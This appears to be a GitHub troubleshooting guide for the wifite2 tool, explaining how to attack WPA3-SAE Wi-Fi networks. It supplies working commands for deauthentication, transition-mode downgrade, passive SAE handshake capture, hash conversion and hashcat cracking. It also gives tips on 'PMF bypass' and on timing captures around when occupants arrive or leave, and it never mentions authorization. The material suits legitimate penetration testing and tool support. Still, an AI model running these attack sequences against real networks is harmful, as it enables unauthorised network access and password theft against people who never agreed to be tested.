WPA3 Troubleshooting Guide

October 28, 2025 · View on GitHub

This guide helps you troubleshoot common issues when attacking WPA3-SAE networks with wifite2.

Table of Contents

  1. Common WPA3 Issues
  2. Tool Installation Guide
  3. PMF Handling Guide
  4. Performance Issues
  5. Debugging Tips

Common WPA3 Issues

Issue 1: WPA3 Networks Not Detected

Symptoms:

  • Networks show as WPA2 only when they support WPA3
  • No WPA3 badge appears in target list
  • --wpa3-only flag shows no targets

Possible Causes:

  1. Outdated wireless drivers
  2. Monitor mode not properly enabled
  3. Beacon frames not being captured correctly

Solutions:

# Check if your wireless adapter supports monitor mode
iw list | grep -A 10 "Supported interface modes"

# Ensure monitor mode is properly enabled
# Kill conflicting processes
sudo wifite --kill

# Set monitor mode (preferred method - hcxdumptool compatible)
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# Verify monitor interface is up
iwconfig

Verify WPA3 Detection:

# Run wifite with verbose output
python3 wifite.py --verbose

# Check if RSN IE parsing is working
tshark -i wlan0mon -Y "wlan.fc.type_subtype == 0x08" -T fields -e wlan.rsn.akm.type

Issue 2: Downgrade Attack Fails on Transition Mode Networks

Symptoms:

  • Downgrade attack times out
  • Client keeps reconnecting with WPA3
  • No WPA2 handshake captured

Possible Causes:

  1. Client device prefers WPA3 and ignores WPA2
  2. Deauth packets not reaching client
  3. AP prioritizes WPA3 connections

Solutions:

# Try forcing SAE capture instead
python3 wifite.py --force-sae --target <BSSID>

# Increase downgrade timeout
python3 wifite.py --wpa3-timeout 60

# Use passive capture if deauth isn't working
python3 wifite.py --no-deauth

Alternative Approach:

  • Wait for natural client reconnections
  • Target clients that support WPA2 only
  • Use multiple deauth attempts with different timing

Issue 3: SAE Handshake Capture Incomplete

Symptoms:

  • Only SAE Commit frame captured
  • Missing SAE Confirm frame
  • hcxpcapngtool reports no valid handshakes

Possible Causes:

  1. Client authentication completes too quickly
  2. Packet loss during capture
  3. PMF protecting management frames

Solutions:

# Use hcxdumptool for better SAE capture
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=15

# Verify capture contains SAE frames
tshark -r capture.pcapng -Y "wlan.fc.type_subtype == 0x0b"

# Check for both commit and confirm
tshark -r capture.pcapng -Y "wlan.fixed.auth_seq == 1 || wlan.fixed.auth_seq == 2"

Increase Capture Success:

  • Deauth multiple times to trigger re-authentication
  • Use longer capture timeout: --wpa3-timeout 300
  • Ensure strong signal strength to target AP

Issue 4: PMF Prevents Deauthentication

Symptoms:

  • Deauth packets sent but clients don't disconnect
  • "PMF required" message displayed
  • Passive capture mode automatically enabled

Possible Causes:

  1. AP requires PMF (802.11w)
  2. Clients have PMF enabled
  3. Management frames are encrypted

Solutions:

This is expected behavior for WPA3 networks with PMF required. See PMF Handling Guide below.

# Use passive capture mode
python3 wifite.py --no-deauth --target <BSSID>

# Wait for natural client reconnections
# Be patient - this can take 5-30 minutes

Issue 5: Hashcat Cracking Fails

Symptoms:

  • Hashcat reports "No hashes loaded"
  • Hash format error
  • Cracking doesn't start

Possible Causes:

  1. Incorrect hash format
  2. Incomplete SAE handshake
  3. Corrupted capture file

Solutions:

# Verify hash file format
cat hash.22000
# Should start with: WPA*02*

# Re-convert capture to hash
hcxpcapngtool -o hash.22000 capture.pcapng

# Test with hashcat
hashcat -m 22000 hash.22000 --show

# Verify hashcat supports mode 22000
hashcat --help | grep 22000

Check Handshake Quality:

# Use hcxpcapngtool to analyze
hcxpcapngtool --info capture.pcapng

# Look for "WPA3" or "SAE" in output

Issue 6: Dragonblood Detection False Positives

Symptoms:

  • Networks marked as vulnerable but exploitation fails
  • Dragonblood attack doesn't work
  • No password recovery

Possible Causes:

  1. AP firmware has been patched
  2. Detection heuristics are conservative
  3. Vulnerability requires specific conditions

Solutions:

Dragonblood detection is informational. Not all detected vulnerabilities are exploitable:

# Verify vulnerability with manual testing
# Check AP firmware version
# Research specific AP model for known vulnerabilities

# Fall back to standard SAE capture
python3 wifite.py --force-sae --target <BSSID>

Tool Installation Guide

Prerequisites

WPA3 attacks require specific tools with SAE support. Here's how to install them:

📖 For comprehensive tool requirements, version details, and platform-specific installation, see WPA3 Tool Requirements Guide

Ubuntu/Debian

# Update package list
sudo apt update

# Install build dependencies
sudo apt install -y build-essential libssl-dev pkg-config

# Install hcxtools (includes hcxdumptool and hcxpcapngtool)
git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools
make
sudo make install

# Install hcxdumptool
git clone https://github.com/ZerBea/hcxdumptool.git
cd hcxdumptool
make
sudo make install

# Install hashcat
sudo apt install -y hashcat

# Or install latest hashcat from source
git clone https://github.com/hashcat/hashcat.git
cd hashcat
make
sudo make install

# Install tshark (optional but recommended)
sudo apt install -y tshark

Arch Linux

# Install from official repos
sudo pacman -S hcxtools hcxdumptool hashcat wireshark-cli

# Or use AUR for latest versions
yay -S hcxtools-git hcxdumptool-git hashcat-git

Kali Linux

# Most tools are pre-installed, but update them
sudo apt update
sudo apt install -y hcxtools hcxdumptool hashcat

# Verify versions
hcxdumptool --version  # Should be 6.0.0+
hcxpcapngtool --version  # Should be 6.0.0+
hashcat --version  # Should be 6.0.0+

macOS

# Install Homebrew if not already installed
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install tools
brew install hcxtools hashcat wireshark

# Note: hcxdumptool may not work on macOS
# Use alternative capture methods or Linux VM

Verify Installation

# Check all required tools
which hcxdumptool
which hcxpcapngtool
which hashcat
which tshark

# Verify versions meet minimum requirements
hcxdumptool --version | head -1
hcxpcapngtool --version | head -1
hashcat --version | head -1

# Test hashcat SAE support
hashcat --help | grep -A 2 "22000"

Expected Output:

22000 | WPA-PBKDF2-PMKID+EAPOL                    | Network Protocol
22001 | WPA-PMK-PMKID+EAPOL                       | Network Protocol

Minimum Version Requirements

ToolMinimum VersionReason
hcxdumptool6.0.0SAE frame capture support
hcxpcapngtool6.0.0SAE hash extraction
hashcat6.0.0Mode 22000 (WPA3-SAE)
tshark3.0.0SAE frame analysis

Troubleshooting Tool Installation

Issue: hcxdumptool compilation fails

# Install missing dependencies
sudo apt install -y libpcap-dev libnl-3-dev libnl-genl-3-dev

# Clean and rebuild
make clean
make
sudo make install

Issue: hashcat doesn't support mode 22000

# Your hashcat version is too old
# Remove old version
sudo apt remove hashcat

# Install from source
git clone https://github.com/hashcat/hashcat.git
cd hashcat
make
sudo make install

# Verify
hashcat --version

Issue: Permission denied when running hcxdumptool

# hcxdumptool requires root privileges
sudo hcxdumptool -i wlan0mon -o capture.pcapng

# Or add capabilities (not recommended for security)
sudo setcap cap_net_raw,cap_net_admin=eip /usr/local/bin/hcxdumptool

PMF Handling Guide

Understanding PMF (Protected Management Frames)

PMF (802.11w) encrypts management frames, preventing deauthentication attacks. WPA3 requires PMF, making traditional deauth-based attacks ineffective.

PMF Status Types

  1. PMF Required: All management frames encrypted (WPA3 default)
  2. PMF Optional: Client can choose to use PMF (Transition mode)
  3. PMF Disabled: No protection (WPA2 only)

Detecting PMF Status

# Wifite automatically detects PMF
python3 wifite.py

# Look for PMF indicators in target list:
# [PMF] - PMF required
# [PMF?] - PMF optional
# No indicator - PMF disabled

Manual Detection:

# Use tshark to check RSN IE
tshark -i wlan0mon -Y "wlan.fc.type_subtype == 0x08" \
  -T fields -e wlan.rsn.capabilities.mfpr -e wlan.rsn.capabilities.mfpc

# Output interpretation:
# 1,1 = PMF required
# 0,1 = PMF optional
# 0,0 = PMF disabled

Attack Strategies Based on PMF Status

PMF Required (Most WPA3 Networks)

Limitations:

  • Deauthentication attacks won't work
  • Must use passive capture
  • Requires patience

Recommended Approach:

# Use passive capture mode
python3 wifite.py --no-deauth --target <BSSID>

# Increase timeout for natural reconnections
python3 wifite.py --no-deauth --wpa3-timeout 1800  # 30 minutes

Tips for Success:

  1. Wait for natural events: Client roaming, AP restart, client sleep/wake
  2. Target busy networks: More clients = more reconnections
  3. Peak hours: Attack during times when clients join/leave
  4. Multiple targets: Scan multiple PMF networks simultaneously

PMF Optional (Transition Mode)

Opportunities:

  • Downgrade attack possible
  • Some clients may not use PMF
  • Deauth may work on older clients

Recommended Approach:

# Try downgrade attack first
python3 wifite.py --target <BSSID>

# If downgrade fails, fall back to SAE capture
# Wifite does this automatically

PMF Disabled (WPA2 Only)

Full Attack Capability:

  • Standard deauth attacks work
  • Fast handshake capture
  • Traditional WPA2 methods
# Standard WPA2 attack
python3 wifite.py --target <BSSID>

Maximizing Success with PMF Networks

1. Increase Capture Window

# Set longer timeout
python3 wifite.py --wpa3-timeout 3600  # 1 hour

# Or use unlimited timeout
python3 wifite.py --wpa3-timeout 0  # Wait indefinitely

2. Target Multiple Networks

# Scan and capture from multiple PMF networks
python3 wifite.py --no-deauth

# Wifite will cycle through targets
# Increases chance of catching reconnections

3. Monitor Network Activity

# Use airodump-ng to watch for client activity
airodump-ng wlan0mon --bssid <TARGET_BSSID>

# Look for:
# - New clients joining
# - Clients leaving and returning
# - Signal strength changes (roaming)

4. Trigger Reconnections (Physical Methods)

Non-technical approaches:

  • Wait for building power events
  • Target networks during business hours (people arriving/leaving)
  • Monitor during lunch breaks or shift changes
  • Weekend/evening when people return home

5. Use Multiple Capture Sessions

# Start capture and leave running
nohup python3 wifite.py --no-deauth --target <BSSID> &

# Check back periodically
# SAE handshakes can be captured over hours/days

PMF Bypass Techniques (Advanced)

Note: These techniques may not work on all networks and require specific conditions.

1. Client Isolation

Some clients don't support PMF even on PMF-required networks:

# Look for older devices
# IoT devices, legacy hardware
# These may negotiate without PMF

2. AP Vulnerabilities

Some APs have PMF implementation flaws:

# Research specific AP model
# Check for firmware vulnerabilities
# Some APs allow unprotected frames in certain states

3. Timing Attacks

Exploit race conditions during authentication:

# Send deauth during SAE handshake
# Some implementations have timing windows
# Requires precise timing

PMF Troubleshooting

Issue: Passive capture takes too long

Solution: This is normal for PMF networks. Consider:

  • Targeting multiple networks simultaneously
  • Running overnight captures
  • Focusing on high-traffic networks
  • Using physical reconnaissance to predict reconnection times

Issue: No SAE handshakes captured after hours

Solution:

# Verify capture is working
tshark -r capture.pcapng -Y "wlan.fc.type_subtype == 0x0b" | wc -l

# If zero, check:
# 1. Monitor mode is working
# 2. Channel is correct
# 3. Signal strength is adequate

# Try different channel
python3 wifite.py --channel <CHANNEL> --target <BSSID>

Issue: Captured frames but hcxpcapngtool finds nothing

Solution:

# Check capture file integrity
tshark -r capture.pcapng | head

# Verify SAE frames are present
tshark -r capture.pcapng -Y "wlan.fixed.auth_seq == 1"

# Try manual conversion
hcxpcapngtool -o hash.22000 capture.pcapng --all

# Check for errors in output

Performance Issues

Slow WPA3 Detection

Symptoms: Scanning takes much longer with WPA3 support

Solutions:

# Disable WPA3 detection if not needed
python3 wifite.py --wpa2-only

# Reduce scan time
python3 wifite.py --scan-time 10

# Target specific network
python3 wifite.py --bssid <TARGET_BSSID>

High CPU Usage During SAE Capture

Symptoms: System becomes slow during WPA3 attacks

Solutions:

# Use efficient BPF filters
# Wifite does this automatically

# Reduce concurrent operations
# Attack one target at a time

# Close unnecessary applications
# SAE capture is CPU-intensive

Slow Hashcat Cracking

Symptoms: WPA3 cracking is slower than WPA2

Solutions:

# Use GPU acceleration
hashcat -m 22000 -d 1 hash.22000 wordlist.txt

# Check GPU is detected
hashcat -I

# Optimize workload
hashcat -m 22000 -w 3 hash.22000 wordlist.txt

# Use rules for better coverage
hashcat -m 22000 -r rules/best64.rule hash.22000 wordlist.txt

Debugging Tips

Enable Verbose Output

# Run wifite with verbose flag
python3 wifite.py --verbose

# Capture all output
python3 wifite.py --verbose 2>&1 | tee wifite-debug.log

Check Tool Output

# Test hcxdumptool manually
sudo hcxdumptool -i wlan0mon -o test.pcapng --enable_status=15

# Verify capture
tshark -r test.pcapng

# Test conversion
hcxpcapngtool -o test.22000 test.pcapng
cat test.22000

Analyze Capture Files

# Count SAE frames
tshark -r capture.pcapng -Y "wlan.fixed.auth_seq == 1" | wc -l

# Show SAE details
tshark -r capture.pcapng -Y "wlan.fixed.auth_seq == 1" -V

# Export SAE frames
tshark -r capture.pcapng -Y "wlan.fixed.auth_seq == 1 || wlan.fixed.auth_seq == 2" \
  -w sae-only.pcapng

Test Hashcat

# Verify mode 22000 works
hashcat -m 22000 --benchmark

# Test with known password
echo "WPA*02*hash..." > test.22000
hashcat -m 22000 test.22000 --show

# Check GPU performance
hashcat -m 22000 -b

Common Error Messages

ErrorMeaningSolution
"No WPA3 tools found"hcxdumptool/hcxpcapngtool missingInstall tools (see above)
"PMF required, deauth disabled"Target uses PMFUse passive capture
"No SAE handshake found"Incomplete captureIncrease timeout, retry
"Downgrade failed"Client prefers WPA3Use --force-sae
"Hash format error"Corrupted hash fileRe-convert capture

Getting Help

If you're still experiencing issues:

  1. Check wifite logs: Look in ~/.wifite/ for detailed logs
  2. Verify tool versions: Ensure all tools meet minimum requirements
  3. Test tools individually: Isolate whether issue is wifite or underlying tools
  4. Check wireless adapter: Some adapters don't support monitor mode properly
  5. Review capture files: Use tshark to verify frames are being captured
  6. Search GitHub issues: Check if others have reported similar problems
  7. Create detailed bug report: Include logs, tool versions, and steps to reproduce

Additional Resources

Quick Reference

Essential Commands

# Scan for WPA3 networks
python3 wifite.py --wpa3-only

# Attack transition mode (automatic downgrade)
python3 wifite.py --target <BSSID>

# Force SAE capture (skip downgrade)
python3 wifite.py --force-sae --target <BSSID>

# Passive capture (PMF networks)
python3 wifite.py --no-deauth --target <BSSID>

# Check for Dragonblood vulnerabilities
python3 wifite.py --check-dragonblood

# Manual SAE capture
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=15

# Convert to hashcat format
hcxpcapngtool -o hash.22000 capture.pcapng

# Crack with hashcat
hashcat -m 22000 hash.22000 wordlist.txt

Troubleshooting Checklist

  • Wireless adapter supports monitor mode
  • Monitor mode properly enabled
  • All required tools installed (hcxdumptool, hcxpcapngtool, hashcat)
  • Tool versions meet minimum requirements
  • Target network in range with good signal
  • Correct channel selected
  • PMF status understood and strategy adjusted
  • Sufficient timeout configured for passive capture
  • Capture file contains SAE frames
  • Hash file properly formatted
  • Wordlist contains potential passwords

Last Updated: 2025-10-27